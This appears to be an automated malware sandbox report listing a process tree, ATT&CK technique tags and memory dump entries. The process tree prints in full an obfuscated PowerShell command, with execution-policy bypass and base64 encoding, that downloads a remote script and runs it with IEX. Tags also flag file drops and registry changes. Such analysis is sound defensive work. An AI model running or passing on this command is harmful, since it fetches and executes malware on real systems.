C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:4708
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3344

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:4044
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:5052
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:5068

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/416-257-0x0000027676466000-0x0000027676468000-memory.dmp

Filesize
8KB

Download
memory/416-216-0x0000027676460000-0x0000027676462000-memory.dmp

Filesize
8KB

Download
memory/416-218-0x0000027676463000-0x0000027676465000-memory.dmp

Filesize
8KB

Download
memory/416-258-0x0000027676468000-0x000002767646A000-memory.dmp

Filesize
8KB

Download
memory/1100-260-0x000002477A723000-0x000002477A725000-memory.dmp

Filesize
8KB

Download
memory/1100-291-0x000002477A728000-0x000002477A72A000-memory.dmp

Filesize
8KB

Download
memory/1100-259-0x000002477A720000-0x000002477A722000-memory.dmp

Filesize
8KB

Download
memory/1100-290-0x000002477A726000-0x000002477A728000-memory.dmp

Filesize
8KB

Download
memory/3392-168-0x00000230F2933000-0x00000230F2935000-memory.dmp

Filesize
8KB

Download
memory/3392-166-0x00000230F2930000-0x00000230F2932000-memory.dmp

Filesize
8KB

Download
memory/3392-176-0x00000230F2936000-0x00000230F2938000-memory.dmp

Filesize
8KB

Download
memory/3392-215-0x00000230F2938000-0x00000230F293A000-memory.dmp

Filesize
8KB

Download
memory/4796-118-0x0000020AF7D35000-0x0000020AF7D36000-memory.dmp

Filesize
4KB

Download
memory/4796-119-0x0000020AF7D36000-0x0000020AF7D37000-memory.dmp

Filesize
4KB

Download
memory/4796-116-0x0000020AF7D30000-0x0000020AF7D32000-memory.dmp

Filesize
8KB

Download
memory/4796-117-0x0000020AF7D33000-0x0000020AF7D35000-memory.dmp

Filesize
8KB

Download
memory/4796-114-0x0000020AF8150000-0x0000020AF854F000-memory.dmp

Filesize
4.0MB

Download
memory/4936-131-0x000002C66C323000-0x000002C66C325000-memory.dmp

Filesize
8KB

Download
memory/4936-126-0x000002C66C2D0000-0x000002C66C2D1000-memory.dmp

Filesize
4KB

Download
memory/4936-129-0x000002C66C320000-0x000002C66C322000-memory.dmp

Filesize
8KB

Download
memory/4936-130-0x000002C66CD40000-0x000002C66CD41000-memory.dmp

Filesize
4KB

Download
memory/4936-149-0x000002C66C328000-0x000002C66C329000-memory.dmp

Filesize
4KB

Download
memory/4936-138-0x000002C66C326000-0x000002C66C328000-memory.dmp

Filesize
8KB

Download
memory/4936-153-0x000002C66D6A0000-0x000002C66D6A1000-memory.dmp

Filesize
4KB

Download
memory/4936-145-0x000002C66C300000-0x000002C66C301000-memory.dmp

Filesize
4KB

Download
memory/4936-152-0x000002C66D310000-0x000002C66D311000-memory.dmp

Filesize
4KB

Download
memory/5068-390-0x000001FA79DE6000-0x000001FA79DE8000-memory.dmp

Filesize
8KB

Download
memory/5068-386-0x000001FA79DE0000-0x000001FA79DE2000-memory.dmp

Filesize
8KB

Download
memory/5068-387-0x000001FA79DE3000-0x000001FA79DE5000-memory.dmp

Filesize
8KB

Download
memory/5068-429-0x000001FA79DE8000-0x000001FA79DE9000-memory.dmp

Filesize
4KB

Download